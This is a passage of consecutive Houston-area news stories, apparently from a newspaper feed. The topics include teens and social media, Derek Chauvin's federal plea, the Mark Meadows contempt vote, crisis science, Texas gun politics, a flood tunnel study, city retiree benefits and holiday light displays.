prompted calls for reform. The resulting uproar reinvigorated the debate over the pitfalls of social media at a time when interactions increasingly take place online. The Chronicle reached out to experts for tips to help caregivers and adolescents navigate social media. Heres what they recommend: Ask the right questions. Teens often underestimate the risks associated with spending time online. Beth H. Garland, a clinical psychologist who treats adolescents with eating disorders at Texas Childrens Hospital, said its up to adults to encourage teens critical thinking. Garland recommends asking open-ended questions: Where do you like to spend your time online? What do you think about that picture? The goal, she said, is to keep a pulse on teens shifting interests while also encouraging them to evaluate what they consume. Fostering a healthy skepticism can help counter the normalization of unrealistic imagery. Thats all the more important in an age of heavily edited ads and filtered photos. If an adolescent uses filters on their own social media accounts, Garland encourages caregivers to find out how and why. Start by saying, That photo looks different than the original. What do you think about that? To keep conversations going, be curious about what is interesting to your teen on social media, what they are learning and taking away from it, she said. Focus on the underlying motivation: What do they value and what does it mean to them? Probe for potentially problematic thoughts. Eating disorders can begin in children before puberty.While it is hard to pinpoint the exact triggers, researchers believe anorexia, bulimia and body dysmorphia disorders are rooted in genetics and environmental influence. Social media use is correlated with higher rates of eating disorders, though doctors shy away from labeling it a direct cause. People start to develop unrealistic expectations about appearance after seeing too many photos on TikTok and Instagram, especially if a lot of filters are being used to smooth skin, said Dr. Jamie D. Feusner, a psychiatrist at the University of Toronto. It can lead to a lot of stress, anxiety and shame. Feusner, whose research focuses on body dysmorphia, the debilitating preoccupation with appearance that affects about 2.5 percent of people, said parents of teens should be on the lookout for compulsive or ritualistic behaviors that can result from feelings of anxiety and shame. It is normal for teenagers to pay more attention to appearance, to start looking in the mirror more often, he said. It is not normal, however, when those behaviors start to interfere with other parts of their life. Adolescents with an unhealthy fixation on looks may start avoiding their friends or engaging in fewer social activities for fear of being judged. Their grades may drop, or they may spend an inordinate amount of time getting ready for school. A teen with budding body dysmorphia may express strong emotions of anxiety or shame about their appearance or they may not. Caretakers should err on the side of caution and seek help from a mental health provider if they suspect their child is at risk, Feusner said. He suggested asking the teen about their feelings instead of trying to assuage their concerns with compliments. Comments like, Youre not fat, youre beautiful can seem dismissive, he said, and may cause the teen to turn inward. Instead, the psychiatrist recommends asking, How much time are you spending thinking about your appearance? Even if they brush it off, asking the question still gets the message across that their parent is taking their perspective seriously, he said. Be upfront about snooping. Any conversation about social media should be treated as an opportunity to learn, not judge. This can be difficult for parents who grew up without computers or cell phones. Some parents have opted to install software to limit or monitor where their child goes online and who they communicate with. Experts cautioned against using software to monitor online activities without a childs knowledge. MORE FROM NORA MISHANEC: In Anahuac, the only hospital for 25 miles is tiny and built for a bygone era. Its chief nurse feels right at home. I am not a big fan of tools locking down or spying on them, said Lorrie Faith Cranor, a professor at Carnegie Mellon University who studies security and privacy technologies. If you are going to use those tools, be open with the child that youre doing it. Cranor, a mother of four, said clandestine monitoring can interfere with adolescents growth and hinder their sense of autonomy. Snooping has the potential to erode trust and damage the parent-child relationship. Its in many cases healthy to give a child room to explore within reason, she said. Teenagers are often more concerned about hiding social media posts from parents and teachers than protecting themselves from future embarrassment. Encourage them to consider the long-term risks of oversharing, said Cranor, even if they dont seem receptive to guidance. Foster a sense of identity outside devices. An important message to communicate to teens is that they exist beyond their online presence. Parents should nurture analog interests through clubs, volunteering or hobbies and then help their child forge an identity around it. This summer, Sunnie Gruwell sent her 14-year-old daughter to summer camp. She said the time away from social media helped the teen realize there is a whole world outside. After camp, her daughter told her, I dont want my phone. nora.mishanec@chron.com ST. PAUL, Minn. (AP) Former Minneapolis police Officer Derek Chauvin pleaded guilty Wednesday to a federal charge of violating George Floyds civil rights, admitting for the first time that he kept his knee on Floyds neck even after he became unresponsive resulting in the Black mans death. Chauvin, who is white, was convicted this spring of state murder and manslaughter charges in Floyd's May 25, 2020, death, and was sentenced to 22 1/2 years. In his federal plea Wednesday, Chauvin admitted he willfully deprived Floyd of his right to be free from unreasonable seizure, including unreasonable force by a police officer, by kneeling on Floyd's neck even though he was handcuffed and not resisting. A second federal count in Floyds death was dismissed, but Chauvin pleaded guilty to another count in an unrelated 2017 case. Chauvin appeared in person for the change of plea hearing in an orange short-sleeve prison shirt and was led into and out of the court in handcuffs. He said Guilty, your honor to confirm his pleas, and acknowledged that he committed the acts alleged. Chauvin could have faced life in prison on the federal count, one possible incentive for him to avoid trial. Under the plea agreement, both sides agreed Chauvin should face a sentence ranging from 20 to 25 years, with prosecutors saying they would seek 25. The final sentence will be up to U.S. District Judge Paul Magnuson, but Chauvin is likely to face more time behind bars than he would on the state charges alone. With good behavior, Chauvin's state sentence would have amounted to 15 years behind bars before he became eligible for parole. A federal sentence would run at the same time, and good behavior also can reduce time but inmates typically serve about 85% of their sentences. That means if Chauvin gets the 25 years prosecutors want, he would likely spend 21 years and three months in prison or roughly six years longer behind bars than his state sentence alone. Three other former officers Thomas Lane, J. Kueng and Tou Thao were indicted on federal charges alongside Chauvin. Floyds arrest and death, which a bystander captured on cellphone video, sparked mass protests nationwide calling for an end to racial inequality and police mistreatment of Black people. Chauvin also pleaded guilty to violating the rights of a 14-year-old boy during a 2017 arrest in which he held the boy by the throat, hit him in the head with a flashlight and held his knee on the boys neck and upper back while he was prone, handcuffed and not resisting. That was one of several cases mentioned in state court filings that prosecutors said showed Chauvin used neck or head and upper body restraints seven times dating back to 2014, including four times state prosecutors said they went beyond the point force was needed. Several members of Floyd's family were present Wednesday, as was the teenager in the 2017 arrest. As they left the courtroom, Floyd's brother Philonise said to the teen: Its a good day for justice. Nine people came to support Chauvin, including family members. He waved and smiled at them as he entered and left the courtroom. George Floyd's nephew, Brandon Williams, afterward called Chauvin a monster who should have been arrested in 2017. Had he been held accountable for what he did in 2017 to that minor, George Floyd would still be here, Williams said. "Today he had a chance to blow kisses and give air hugs to his family. We cant do that. An attorney for Floyd's family, Jeff Storms, said they planned to head to Minneapolis later Wednesday to support the family of Daunte Wright, a 20-year-old Black man who was fatally shot in a traffic stop during Chauvin's state trial. The police officer in that case, Kim Potter, is on trial on manslaughter charges. To bring federal charges in deaths involving police, prosecutors must believe an officer acted under the color of law, or government authority, and willfully deprived someone of their constitutional rights. It's a high legal standard, and an accident, bad judgment or negligence aren't enough. Prosecutors have to prove the officer knew what he was doing was wrong in that moment but did it anyway. Chauvin admitted that he knew what he did to Floyd was wrong and he had a callous and wanton disregard for Floyds life, the plea agreement said. It also said Chauvin was aware that Mr. Floyd not only stopped resisting, but also stopped talking, stopped moving, stopped breathing, and lost consciousness and a pulse. According to evidence in the state case against Chauvin, Kueng and Lane helped restrain the 46-year-old Floyd as he was on the ground Kueng knelt on Floyds back and Lane held down Floyds legs. Thao held back bystanders and kept them from intervening during the 9 1/2-minute restraint. All four former officers were charged broadly in federal court with depriving Floyd of his rights while acting under government authority. The other three former officers are still expected to go to trial on federal charges in January, and they face state trial on aiding and abetting counts in March. ___ This story has been corrected to show Chauvin plea in Floyd's death was to a single charge, with a second count dismissed. ___ Find APs full coverage of the death of George Floyd at: https://apnews.com/hub/death-of-george-floyd WASHINGTON (AP) The House voted Tuesday to hold former White House chief of staff Mark Meadows in contempt of Congress after he ceased to cooperate with the Jan. 6 Committee investigating the Capitol insurrection making it the first time the chamber has voted to hold a former member in contempt since the 1830s. The near-party-line 222-208 vote is the second time the special committee has sought to punish a witness for defying a subpoena. The vote is the latest show of force by the Jan. 6 panel, which is leaving no angle unexplored and no subpoena unanswered as it investigates the worst attack on the Capitol in more than 200 years. Lawmakers on the panel are determined to get answers quickly, and in doing so reassert the congressional authority that eroded while former President Donald Trump was in office. History will be written about these times, about the work this committee has undertaken, said Rep. Bennie Thompson, R-Miss., the chairman. And history will not look upon any of you as a martyr. History will not look upon you as a victim. The two GOP votes Reps. Liz Cheney of Wyoming and Adam Kinzinger of Illinois, who serve on the committee in favor of the resolution came after nine Republicans voted to hold former Trump ally Steve Bannon in contempt in October. While Bannons case was more clear-cut -- he never engaged with the committee at all -- Meadows had turned over documents and negotiated for two months with the panel about an interview. Meadows also has closer relationships within the Republican caucus, having just left Congress last year. Meadows was also Trumps top aide in the White House, giving him more plausible grounds to claim executive privilege. Bannon had not worked in the White House since 2017. The Justice Department will also be weighing those factors as prosecutors decide whether to move forward with the case. If convicted, Bannon and Meadows could each face up to one year behind bars on each charge. Rep. Jamie Raskin, D-Md., another member of the panel, began Tuesdays debate on the resolution by reading frantic texts from the day of the attack revealing members of Congress, Fox News anchors and even Trumps son urging Meadows to persuade the outgoing president to act quickly to stop the three-hour assault by his supporters. Republicans on Tuesday called the action against Meadows a distraction from the House's work, with one member calling it evil and un-American. Rep. Jim Jordan of Ohio praised Meadows: Make no mistake, when Democrats vote in favor of this resolution, it is a vote to put a good man in prison. Trump also defended Meadows in an interview, saying: I think Mark should do whats right. Hes an honorable man. He shouldnt be put through this." And Meadows attorney George Terwilliger defended his client in a statement before the vote, noting that he had provided documents to the panel and maintaining that he should not be compelled to appear for an interview. Terwilliger said, The Select Committees true intentions in dealing with Mr. Meadows have been revealed when it accuses him of contempt citing the very documents his cooperation has produced. Meadows himself has sued the panel, asking a court to invalidate two subpoenas that he says are overly broad and unduly burdensome. Meanwhile, Senate Republican leader Mitch McConnell told reporters: I do think were all watching, as you are, what is unfolding on the House side. And it will be interesting to reveal all the participants who were involved. He added that he was not in contact with Meadows on the day of the attack. Democrats quoted at length from Jan. 6 text messages provided by Meadows while he was cooperating with the committee. We need an Oval Office address," Donald Trump Jr. texted, the committee said, as his father's supporters were breaking into the Capitol, sending lawmakers running for their lives and interrupting the certification of Joe Biden's presidential victory. "He has to lead now. It has gone too far and gotten out of hand. Trump Jr. added, "Hes got to condemn this s- ASAP." In response to one of Trump Jr.'s texts, Meadows said: Im pushing it hard. I agree. Members of the committee said the texts raise fresh questions about what was happening at the White House and what Trump himself was doing as the attack was underway. The committee had planned to question Meadows about the communications, including 6,600 pages of records taken from personal email accounts and about 2,000 text messages. The panel has not released any of the communications in full. Cheney, the panels vice chairwoman, said at the committee's Monday evening meeting that an important issue raised by the texts is whether Trump sought to obstruct the congressional certification by refusing to send a strong message to the rioters to stop. These texts leave no doubt, she said. The White House knew exactly what was happening at the Capitol. The investigating panel has already interviewed more than 300 witnesses, and subpoenaed more than 40 people, as it seeks to create the most comprehensive record yet of the lead-up to the insurrection and of the violent siege itself. If Meadows had appeared for his deposition, lawmakers had planned to ask him about Trumps efforts to overturn the election in the weeks before the insurrection, including his outreach to states and his communications with members of Congress. The panel says it wanted to know more about whether Trump was engaged in discussions regarding the response of the National Guard, which was delayed for hours as the violence escalated and the rioters beat police guarding the Capitol building. The documents provided by Meadows include an email he sent to an unidentified person saying that the Guard would be present to protect pro Trump people," the panel said, and that more would be available on standby. The committee did not release any additional details about that email. Committee staff said they would have interviewed Meadows about emails to leadership at the Department of Justice on December 29th and 30th, 2020, and January 1st, 2021, encouraging investigations of suspected voter fraud, even though election officials and courts across the country had rejected those claims. ___ Associated Press writers Eric Tucker and Darlene Superville contributed to this report. (The Conversation is an independent and nonprofit source of news, analysis and commentary from academic experts.) Fiona Greenland, University of Virginia and Michelle D. Fabiani, University of New Haven (THE CONVERSATION) How can you know that science done quickly during a crisis is good science? This question has taken on new relevance with the COVID-19 vaccine rollout. Researchers developed vaccines in under a year easily breaking the previous record of four years. But that pace of development may be part of the reason about 1 in 7 unvaccinated adults in the U.S. say they will never get the COVID-19 shot. This is in spite of continued assurances from infectious disease experts that the vaccines are safe. Scientists are called on to come up with answers under pressure whenever there is a crisis, from the Challenger space shuttle explosion to the 2020 California wildfires. As they shift from regular to crisis research, they must maintain rigorous standards despite long hours, mentally demanding tasks and persistent outside scrutiny. Thankfully, science produced under urgent conditions can be just as robust and safe as results produced under normal conditions. We are two social scientists interested in understanding how researchers can best work on urgent problems and deliver useful findings. In a recent study, we focused on conflict archaeologists, an interdisciplinary group tasked with rapid assessments of archaeological destruction in Syria during the war between 2014 and 2017. Observers feared that one particular form of destruction, artifact looting, was a major source of revenue for terrorist groups, including the Islamic State. Prominent policymakers, security officials and a worried public wanted clear answers, quickly. By any measure, conflict archaeologists succeeded. They produced findings that improved scientific knowledge. Their research led to a landmark bipartisan bill signed by President Obama. Perhaps most importantly, they raised public awareness of the problems associated with looting and smuggling archaeological materials. Our latest research aimed to understand how work cultures played a role in these achievements and what lessons can be applied in crisis science across disciplines. What worked for conflict archaeologists To investigate, we interviewed 35 conflict archaeologists and other scientists who worked with them. We also observed work in satellite labs and team meetings, and talked to people who used the data and analysis created by conflict archaeologists. Those we interviewed worked in different physical locations and across multiple disciplines. If they met, they would do so remotely. And yet they were generally aware of what others in this research area were doing. Collaboration is central to doing good urgent science, and we found three key factors behind successfully working together during a crisis. First, the percentage and distribution of effort matters. We call this temporal control. We found that full-time devotion to crisis science was not necessarily the only way to produce good work. In fact, researchers involved on a part-time basis expressed higher confidence in the quality of other collaborators work. We think part-timers were able to maintain a more comprehensive perspective on the collaboration overall. And keeping a hand in their usual scientific practices seemed to help researchers stay sharp. It meant that when they turned to urgent science tasks, they could do so with fresh eyes and renewed attention to methodological precision. Second, sharing responsibility for outcomes motivated researchers to generate rapid findings for policy and public-interest needs. We call this responsibility control. Effective conflict archaeologists distributed credit among collaborators. They translated their objectives and priorities for policymakers and set boundaries and expectations for understanding and using their findings. As a result, they could do their work with the knowledge that they stood with a team producing accurate findings that could be used to combat artifact looting and trafficking was not any one individuals sole responsibility. [Too busy to read another daily email? Get one of The Conversations curated weekly newsletters.] Finally, it was important to have limits around the extent of an individuals personal involvement. This is scope control, a work environment that helped scientists set boundaries between the research and their personal lives. It was exhausting, one respondent told us. I tried not to take the work home with me, but I know it was starting to affect my family life. Scientists who were able to control the scope of their work, and to speak openly about their challenges, were more likely to stick with the project and express confidence in the strength of the research. We hypothesize that those who are able to set borders around what and how much work they took on were in a better position to assess the strength of both their own research and that of others and thus feel confident in it. Creating the conditions for good crisis science Generating high-quality, safe and reliable scientific research under pressure is not a matter of having a heroic personality or superhuman stamina. It is a matter of thoughtful, deliberate work environments and being part of professional fields that support their members even as they hold them to high standards of rigor and ethics. To be sure, no two crises are identical. At the same time, crisis science best practices can be adapted to fit the specific circumstances of the project. Global pandemics or imminent environmental catastrophe may require short, intensive, full-time bursts of work. Some research projects are lab- or equipment-sensitive and require specific personnel. As our findings show, science conducted with a supportive infrastructure, with rigor and ethics built into the process, can produce reliable results under pressure. Like COVID-19 researchers, conflict archaeologists worked with tight deadlines under intense scrutiny. Both groups also emphasized the need for researchers to continue to employ high ethical standards in the research process. And understanding how scientists maintain their ethics and rigor while working under difficult conditions is essential for maintaining the publics trust in science. This much is certain: Crises arent going away. As long as society is relying on scientists for solutions, its important to create conditions conducive to effective research. This article is republished from The Conversation under a Creative Commons license. Read the original article here: https://theconversation.com/pandemic-war-and-environmental-disaster-push-scientists-to-deliver-quick-answers-heres-what-it-takes-to-do-good-science-under-pressure-164152. Once upon a time, Democrats running for statewide office in Texas were reluctant to get crossways with Second Amendment enthusiasts in this historically gun-friendly state. Theres also been a widespread assumption among political observers that former U.S. Rep. Beto ORourke damaged his statewide prospects in Texas perhaps irretrievably when he took issue with assault weapons during his brief bid for the 2020 Democratic presidential nomination. Hell yes, were going to take your AR-15, your AK-47, ORourke said in a September 2019 debate, hosted by Texas Southern University. Whether you agree or disagree with that proposal, theres something quite refreshing about the El Pasoans refusal to backpedal or flip-flop on gun safety since entering the 2022 gubernatorial race. ORourke has said that he still supports a mandatory buyback program for assault weapons a position he came to after an August 2019 massacre at an El Paso Walmart that killed 23, followed just weeks later by another mass shooting, in Midland-Odessa, that left eight dead including the shooter. Both were carried out by gunmen wielding semi-automatic rifles. And on Monday, at a rally in Amarillo, ORourke went after Gov. Greg Abbott directly over the issue of permitless carry. Under a new law signed by the governor earlier this year, Texans no longer need a license or a background check or any sort of training to carry a handgun in public. Whatever he might say, this governor really does not trust law enforcement, the Democrat told a crowd of several hundred people. The Texas sheriffs and police chiefs who opposed the permitless carry bill had, he noted, testified that over the past five years they denied some 37,000 applications for licenses to carry a handgun, after deeming the applicants too great a threat to their communities. Thats to say nothing of the people who didnt bother to apply, because they knew they couldnt pass the background check, he added. Well, now, ORourke continued, ...violent criminals at a time of rising violent crime are in no way checked through that license-to-carry program. If elected, he said, hell seek to repeal the permitless carry law a lofty goal, given that Republicans are likely to retain control of the Texas Legislature. But its also a clear-sighted statement of purpose. Republicans, needless to say, have taken notice and even more strikingly, they appear to be playing defense. Robert Francis ORourke wants to disarm Texans like this woman, Abbott tweeted Monday evening, adding a link to a Fox News story about a Harris County woman who shot and killed a man during the course of an alleged attempted robbery. Criminals dont care what the law is; they will carry guns anyway, the Republican governor added. Criminals dont care what the law is. Indeed. Thats a profound insight, and one that should definitely serve as the basis for sound policymaking. One wonders why we have any laws at all, much less a state penal code that includes thousands of the darn things. One also wonders whether Abbott a former state attorney general and Texas Supreme Court justice is under the impression that his constituents are goldfish, and therefore unable to remember his own previous pronouncements on the subject of crime prevention. Asked about his support of a new state law banning abortions after six weeks with no exceptions for victims of rape and incest, Abbott delivered this platitude: Rape is a crime, and Texas will work tirelessly to make sure we eliminate all rapists from the streets of Texas by aggressively going out and arresting them and prosecuting them and getting them off the streets. So goal No. 1 in the state of Texas is to eliminate rape. Basically, Abbott is for law and order and the rights of crime victims except when he isnt. The conversation ORourke is insisting on, and compelling Abbott to engage with, is one that many Texans have long been hoping for. This is, as noted, a generally gun-friendly state. But in recent years, Republicans have passed a number of far-right priorities, including permitless carry, that are opposed by a majority of Texans, according to public polls. Meanwhile, almost all gun-safety proposals filed in recent legislative sessions have fizzled ignominiously, even as gun violence continues to end lives and traumatize communities. On Sunday, for example, a gunman opened fire on a crowd of mourners who had gathered in Baytown for a vigil. One young mother of a special needs child was killed and 13 others were injured. The vigil was in memory of another recent murder victim. While theres not necessarily a direct line between state laws and such terrors, it would be absurd to assume they have no connection whatsoever. Or consider the tragedy last month in Lubbock, in which Chad Read, a 54-year-old father of three, was shot to death by his ex-wifes boyfriend, Kyle Carruth, after arriving at her house to pick up his son for a court-ordered visit. Carruth has not been charged in conjunction with the killing, which his defense lawyer has called a justifiable homicide. The attorney generals office is investigating. But in the meantime, video of the episode, released by Reads widow, depicts a bleak reality. An altercation that could have ended in angry words instead ended in death, because one man had ready access to a deadly weapon and no qualms about using it, even though he had no need to do so. We may be used to this grim status quo, but its more radical than anything ORourke is proposing. Many forget that President Bill Clinton signed an assault weapons ban into law in 1994, though it lapsed a decade later. And while polls show ORourke trailing Abbott, the crowds turning out for the former congressman in places like Amarillo and Lubbock explain why the governor seems a bit uneasy. We trust law enforcement; we want to see greater public safety; and we want to make sure that we protect the Second Amendment as well as protecting the lives of the people in our lives, ORourke said, at the Amarillo event. We can do that; we are Texans. Its bracing to hear such candorand confidencefrom a statewide candidate. erica.grieder@chron.com OnScene TV A woman shot her ex-boyfriend multiple times Tuesday night after he broke into her southeast Houston apartment, according to Houston Police. The ex-boyfriend bashed the back door patio window and entered the apartment in the 11600 block of Gulf Pointe Drive about 10 p.m., according to Lt. R. Willkens of Houston Police. The woman, who was in the apartment with her new boyfriend, went to see what happened. The U.S. Army Corps of Engineers is revisiting the idea of constructing a massive tunnel for floodwater beneath the city of Houston, signaling a major shift after public pushback on earlier flood mitigation ideas. The Corps has been looking at ways to alleviate the potential for flooding around the Addicks and Barker reservoirs and along Buffalo Bayou since Hurricane Harvey caused catastrophic damage in 2017. On HoustonChronicle.com: Houstonians up in arms over Army Corps' 'old-fashioned' flood fixes. Engineers in an interim report last year suggested digging Buffalo Bayou wider and deeper, or building a third dam and reservoir on the Katy Prairie, but the proposals elicited major public backlash. Local advocates have long fought to protect the bayou in its natural form. And environmentalists rallied around the prairie, which supporters consider a necessary, natural way to address flooding and improve water quality. The agency announced Wednesday that engineers will spend two more years analyzing the tunnel option and other alternatives. The Corps will use $1.8 million in federal funds to continue the study. An additional $3.4 million from two Harris County commissioners will support complementary research at the county level. The Corps previously considered tunneling floodwater under the city to be too expensive, with an estimated cost of $6.5 to $12 billion. Engineers envisioned a tunnel some 150 feet below ground, starting at the reservoirs to the west and perhaps following the bayous path to the Houston Ship Channel. Yet the agency noted Wednesday that it had received substantial community input. The Corps now hopes to release a draft report and environmental impact statement for what it calls the Buffalo Bayou and Tributaries Resiliency Study next fall. It would then accept more input and issue a final report, aiming to complete the study by December 2023. We are very committed to this important, monumental project, Commander Col. Tim Vail of the Galveston District said in a prepared statement, and we have heard the publics feedback. On HoustonChronicle.com: How Houston floods Built in the 1940s, Addicks and Barker reservoirs are two of the citys major defenses against flooding. However, they were envisioned as part of a larger system, including a third reservoir and two canals that were never built. A 1996 suggestion to construct a tunnel beneath Interstate 10 also never gained traction. Hurricane Harvey undeniably showed the reservoirs limits, though. The storm unleashed more than 50 inches of rains in parts of the Houston area, causing the Corps to release water from the dams to prevent possible failure. Homes flooded downstream and also within the footprints of the reservoirs, which are normally dry. Ken Ellis/Houston Chronicle Houston is now so developed that flood-mitigation options are limited. Hence the resurfacing of the tunnel idea. The Harris County Flood Control District in recent years has weighed the feasibility of a network of tunnels. Both San Antonio and Austin have built them. Houston would require tunnels at a much larger scale. County Commissioners Tom Ramsey and Jack Cagle contributed funds to further that work in coordination with the Corps, according to the Wednesday news release. Ramsey called the idea pragmatic. Houston Mayor Sylvester Turner agreed the idea was worth exploring. An advocacy group known as Barker Flood Prevention championed the tunnel idea early on, said co-founder Wendy Duncan, seeing it as a needed way to move water out of the reservoirs. We cannot widen or channelize Buffalo Bayou for political reasons; the residents have already voiced strong opposition to that solution, Duncan said. The only other way to get conveyance out of the reservoirs is to go underground. Duncans group is part of a larger coalition, Houston Stronger, thats also pushing for a tunnel. Auggie Campbell, one of the coalition organizers, said there is much to consider about the concept. Could it be built to benefit communities closer to the bay? Could it contribute to the regions drinking water supply? Other conservation organizations were cautious: Susan Chadwick, of Save Buffalo Bayou, pointed out that it is important to question who benefits from such a project. Katy Prairie Conservancy President and CEO Mary Anne Piacentini hopes the Corps will also consider nature-based infrastructure. Bob Stokes, of the Galveston Bay Foundation, warned that water quality will be hugely important to analyze. Stormwater concentrated underground in a large volume and over a long distance can become depleted of oxygen, he said. That causes marine life to die, so the water might need to be treated before its dumped into the bay. Im supportive of looking into it and trying to figure out the right way to do it, Stokes said. All these alternatives have to be weighed with their pros and cons. Joyce Lee contributed to this report emily.foxhall@chron.com Former Chief Art Acevedo recently fired from his job in Miami has found a new job: hes now a TV news commentator. The former Houston police chief tweeted Tuesday that hed joined CNN as a commentator focused on law enforcement and criminal justice. Acevedo, chief in Houston from late 2016 to 2021, was a constant presence on local media and in the pages of this newspaper so much so that officers sometimes joked the most dangerous place to be was between him and a microphone. But his relationship with the media in the Bayou City soured after the Harding Street drug raid, in which a narcotics raid in south Houston devolved into a firefight, ending with the deaths of two homeowners and multiple police injured. A rocky rise: Acevedo survived controversy on way to top policing jobs Acevedo argued that his leadership ferreted out the misconduct, but the scandal nevertheless cast a pall over his tenure here and led to serious scrutiny of the departments anti-drug operations. He announced a move to Miami earlier this year. He got off to a rocky start almost immediately. City commissioners in the Magic City objected to his hiring, which came as a surprise because Acevedo never formally applied. He then became enmeshed in a slew of controversies, including firing several officers, and drawing flak for making comments comparing the Miami Police Departments leaders to the Cuban mafia. In October, city officials fired him. Questions had swirled about Acevedos next steps after his brief and stormy tenure in Miami came to an end earlier this fall. Acevedo flirted with the idea of running for sheriff of Los Angeles County a move that would have taken him back to California, where he spent the first two decades of his law enforcement career. At the last moment, however, he decided not to run, saying the timing was not right. In a brief phone interview, Acevedo said his new gig was a natural fit and that hed written a newspaper column in both high school and college. The move means Acevedo will be colleagues with journalists (including this reporter) who once attempted to hold him accountable during his time as chief. I have joined the media, he joked. st.john.smith@chron.com Google Maps A former Houston Police Department officer who was facing pending charges after complaints of sexual contact with a minor died by suicide on Sunday in Montgomery County, according to a statement tweeted out by Houston police Monday night. Police said Alton Holmes, a 14-year veteran of HPD working in the Vehicular Crimes Unit, was found dead at around 11:30 a.m. on Sunday in the 31300 block of Aldine Westfield Road. The city will curb its contributions to future retiree benefits for city workers to try to cut a massive and growing liability on city finances, Mayor Sylvester Turner announced Wednesday. The changes focus on trimming the citys share of medical, life and prescription drug insurance costs for retired city workers and their dependents and survivors, known as other post-employment benefits (OPEB). The city spends tens of millions of dollars on those benefits every year and faces an unfunded liability of more than $2.2 billion after years of deferred contributions and growing medical costs. Houston uses a pay-as-you-go system for paying those benefits, which is like making a minimum credit card payment. The benefits for current retirees will not change, Turner emphasized. The city, though, will stop subsidizing part of those benefits for employees hired after this year. For current workers, the citys contributions will be based on their years of service in 2022, and some may see a reduction in their subsidies. The liability was expected to grow to more than $9 billion over 30 years. With the changes, Turner said, his administration expects to cut that by more than half, to $4.3 billion. The changes are lifting another significant financial barrier for the city, Turner said. I think its very important for us to enhance our financial viability and stability in the city as we move forward, so Im very pleased to make these announcements. Roy Sanchez, president of the municipal employees union, the Houston Organization of Public Employees Local 123, said the union still was reviewing the changes and planned to discuss them with citys Human Resources Department on Thursday. In his first term, Turner shepherded a pension reform plan approved by Houston voters and the state Legislature that sought to tackle an $8.2 billion liability. He said Wednesday the package has trimmed that liability to roughly $1.5 billion. The mayor said Human Resources will hold meetings for current workers to educate them about the changes. The revisions come after two consultants recommended a slew of potential changes to address the deficit. PFM, a Philadelphia-based firm that helped the city craft a 10-year financial plan in 2017, said the city should eliminate the coverage altogether for retirees and dependents who have access to other coverage. Turner then hired Segal Consulting to study the OPEB liability in particular. It recommended, among other ideas, capping the amount the city pays to the less expensive, privately administered Medicare Advantage plans, which requires less than half the subsidy the city pays for traditional Medicare. About two-thirds of the citys retiree healthcare payments go to workers over the age of 65, who are eligible for Medicare. City officials cheered the change. This is another huge stride in keeping Houston from a financial nose dive with these kinds of unsustainable, structural problems within our budget, said At-Large Councilmember Sallie Alcorn, who has focused on implementing the citys long-term financial plan. I think this goes a long way toward Houston achieving a structurally balanced budget. At-Large Councilmember Letitia Plummer offered the mayor huge kudos. It is so great to hear that, its amazing to be able to enter the new year with more of a balanced budget, Plummer said. Controller Chris Brown, who has called for action to trim the deficit, said his office looks forward to reviewing the plan and monitoring its progress. Although it has been more than three years since the controllers office sounded the alarm on this issue, were glad to hear the administration and council are moving forward with a plan to secure retirement benefits for city employees and address another growing unfunded liability, Brown said. dylan.mcguinness@chron.com It's beginning to look a lot like Christmas all across Houston. For years many of the city's distinct neighborhoods light up like a Christmas tree from homes to yards, porches and streets, and this year is no different. Some you can drive by, others are better to take in on an evening stroll. But most won't cost you a penny. No matter where you live there's a decorated neighborhood near you. From north to central, west and south Houston, here's a rundown of some of the Bayou City's must-see neighborhood Christmas lights displays, according to residents of the Houston area. River Oaks Every year River Oaks Boulevard attracts thousands to see its elaborate Christmas lights decorations illuminate the mansions and estates on each side of the street. Many homeowners in River Oaks leave the decorating to the pros with massive, colorful lights that hug its trees and shrubs. Monique Welch | Chronicle Visitors can walk public sidewalks, but driving is preferred as parking can be a major issue with no dedicated parking areas. Best parking option is on side streets to avoid getting towed. Besides the main street, River Oaks Boulevard, also check out Inwood Drive and Del Monte Drive's famous "River Oaks Santa House." It's free to enjoy through the holiday season and the celebration typically ends the day after Christmas, but most homeowners keep their lights on until after New Year's Day. The Heights and Woodland Heights Jamaal Ellis/Contributor The neighborhood's annual Lights in the Heights returned this year after going on a two-year hiatus due to the pandemic, but if you missed the Christmas block party Saturday you can still enjoy the many displays throughout the month of December. Its located in Woodland Heights' Euclid Street, Houston, Texas 77009. This year the featured streets are Byrne and Euclid from Studewood to Beauchamp that can be easily accessed by foot or in the car. The display is free for all. Pecan Grove Karl Stolleis/Houston Chronicle The property owners association of this Fort Bend neighborhood near Richmond encourages residents to "go all out" celebrating Christmas, and the result is an ornate, over-the-top show that's a family tradition for many and draws in a lot of locals every year. The main attraction is along Plantation Drive and the display is free for all. Scott Terrace Steve Ueckert/Chronicle Located on Scott Street and Yellowstone Boulevard, this neighborhood is known to transform into a winter wonderland during the holiday season with arches that usually line the streets and cars covered in bulbs. Free for all to enjoy. Tanglewood Tanglewood located in the west Uptown Houston area just outside Loop 610 and Beltway 8, is another popular spot to check out elaborate light displays. Shepherd Park Plaza This community along the loop's northeast is known for its lighted arches and elaborate light displays on each street throughout the neighborhood. Here neighbors compete for a number of awards including the most original, best overall, most creative, among others. Shepherd Park Plaza is located at Shepherd Park Plaza, Houston, Texas 77018. Green Tee Terrace (Pearland) This is yet another neighborhood with a long history of beautiful light displays. Each year the Tour De Lites features a leisure six to eight mile bike or hay ride through the Green Tee subdivision just to see the lights. That tour was held on Saturday but guests are welcome throughout the holiday season. Prestonwood Forest near Willowbrook Located off Tomball Parkway (Highway 2490 north of Willowbrook Mall, this northwest Houston neighborhood hosts its 43rd annual Nite of the Lites festivities Saturday where 785 homeowners participate in friendly, holiday-spirited competition for a variety of individual and block recognition categories, which are awarded by a committee of guest judges. Lights can be viewed until Jan. 12 for free. Gustavo Huerta, Houston Chronicle / Staff photographer The Christmas Ranch in Cleveland Submitted This year marks 35 years since the event's early days in Huntsville. Guests are welcome to drive through the free drive-through Christmas display which runs Sunday through Thursday from 6 p.m. to 10 p.m. and Friday and Saturday from 6 p.m. to 11 p.m. through Dec. 31. It features more than 300,000 lights, holiday scenes, 32-ft reindeer, and more. Santa is scheduled to visit Saturdays in December from 6 to 8 p.m, and on Christmas Eve from 6 to 8 p.m. Donations are appreciated, and proceeds distributed by St. Marys Catholic Church to help the needy within the community. Christmas Ranch is located approximately six miles northwest of Cleveland on FM 1725 off of SH 105. Hometown Christmas Festival of Lights at Independence Park The City of Pearland and Second Baptist Church South Campus present a month-long Festival of Lights transforming Independence Park into a spectacular holiday destination. The free festival is open from 5 to 9 p.m. until January 2 at 3449 Pearland Parkway. The free experience features more than 100,000 lights, 200 feet of light tunnels, and 283 giant displays and illuminated sculptures. Towering and beautifully lit 'lands' will 